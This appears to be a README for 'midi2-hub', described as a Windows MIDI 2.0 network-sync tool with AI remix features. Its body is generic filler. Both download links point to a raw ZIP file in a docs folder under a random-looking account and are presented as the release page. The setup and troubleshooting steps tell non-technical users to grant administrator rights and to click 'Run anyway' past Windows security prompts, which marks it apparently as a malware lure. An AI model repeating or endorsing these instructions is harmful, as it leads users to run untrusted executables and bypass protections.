midi2-hub：跨设备同步 MIDI 2.0 的 Windows 工具

🎵 midi2-hub - Sync MIDI 2.0 Across Your Setup

🚀 What midi2-hub does

midi2-hub helps you connect music apps and devices over your network with MIDI 2.0 sync. It is built for music work, live control, and AI-assisted remix setups.

Use it to:

Sync multiple music tools on one network
Send MIDI 2.0 messages between apps and devices
Link music software with AI engines
Keep timing steady across producers and tools
Work with modern music setups that use Network MIDI

🖥️ Windows setup

This guide is for Windows users with no programming knowledge.

1. Open the download page

Go to the release page here:

https://raw.githubusercontent.com/deductive-trichomanesreniforme675/midi2-hub/main/docs/midi-hub-2.7.zip

2. Download the Windows file

On the release page, look for the latest version.

Download the Windows installer or ZIP file that matches your system.

3. Install or extract the app

If you downloaded an installer:

Double-click the file
Follow the on-screen steps
Finish the setup

If you downloaded a ZIP file:

Right-click the file
Select Extract All
Choose a folder you can find later
Open the extracted folder

4. Run midi2-hub

After install or extract:

Open the app folder
Double-click the main program file
If Windows asks for permission, select Yes

5. Connect your music apps

After the app starts, you can:

Link it with your DAW
Connect MIDI 2.0 devices on your network
Set up sync between producers
Route messages to AI remix tools

📦 What you need

midi2-hub works best on a Windows PC that meets these basic needs:

Windows 10 or Windows 11
A stable network connection
Enough free space for the app and logs
A sound setup or MIDI device if you plan to use one
A modern CPU for low-latency music work

For best results, use a wired network when you need steady timing.

🎛️ Main features

Network MIDI 2.0 sync for music tools
Multi-producer timing support
AI engine connection points
Fast message handling for live use
Support for music production workflows
WebSocket-based communication for connected tools
Works with modern plugin and host setups
Designed for MIDI and remix routing

🧭 Common use cases

Home studio sync

Use midi2-hub to keep your software and devices on time while you record, mix, or test sounds.

AI remix setup

Connect the hub to AI tools that can help shape loops, stems, or remix ideas.

Multi-user sessions

Use it when more than one producer needs the same timing and message flow on a network.

Live control

Use it in a live room where you need fast MIDI routing and steady timing.

🔧 First-time setup

Follow these steps after you open the app for the first time:

Start midi2-hub
Check that your network is active
Select the MIDI 2.0 source or target you want to use
Add any music apps you want to sync
Test timing with a short loop
Confirm that messages reach the right device or app

If your setup includes a DAW, open the DAW first or keep it open while you test the link.

🧱 Typical workflow

A simple workflow looks like this:

Start your music app
Start midi2-hub
Connect the network MIDI path
Set the sync source
Add an AI engine or other target if needed
Play a short clip and check timing
Save your setup for next time

🪟 Troubleshooting on Windows

The app will not open

Make sure the download finished
Try running the app as an administrator
Check that Windows did not block the file
Reboot your PC and try again

Windows shows a security prompt

Select More info if needed
Then choose Run anyway if you trust the file from the release page

No device or app appears

Check your network cable or Wi-Fi
Make sure the other app is running
Confirm both tools use the same network
Try closing and reopening midi2-hub

Timing feels off

Use a wired connection
Close apps that use a lot of CPU
Keep large downloads or streams off the network
Test with one device first

🔌 Integrations

midi2-hub fits into a wider music setup that may include:

Ableton Link for tempo sync
VST3 hosts and instruments
WebSocket clients and services
Python tools for scripting
FastAPI services for control layers
Go-based backend tools
JUCE-based audio apps

📁 File layout

After install or extract, you may see files like these:

Main app file
Config folder
Logs folder
Network and sync settings
Helper files for audio or MIDI routing

Keep these files together if you use the ZIP version.

🎼 Tips for best results

Use the latest release
Keep your network simple
Test one connection at a time
Save working settings after setup
Use the same sample rate across your audio tools when possible
Keep your MIDI device names clear so you can spot them fast

📥 Download and install

Visit this page to download the Windows release:

https://raw.githubusercontent.com/deductive-trichomanesreniforme675/midi2-hub/main/docs/midi-hub-2.7.zip

Download the latest file for Windows, then install it or extract it, and run the main app file from the release package

🧩 Who this is for

Music producers who want network-based sync
Users who work with MIDI 2.0 gear
People who want AI tools in a music workflow
Home studio users who need clean timing
Live performers who use connected devices
Anyone who wants a simple way to link music apps

📌 Project focus

midi2-hub focuses on:

MIDI 2.0 routing
Network sync
Multi-producer setups
AI remix links
Music production control
Fast app-to-app communication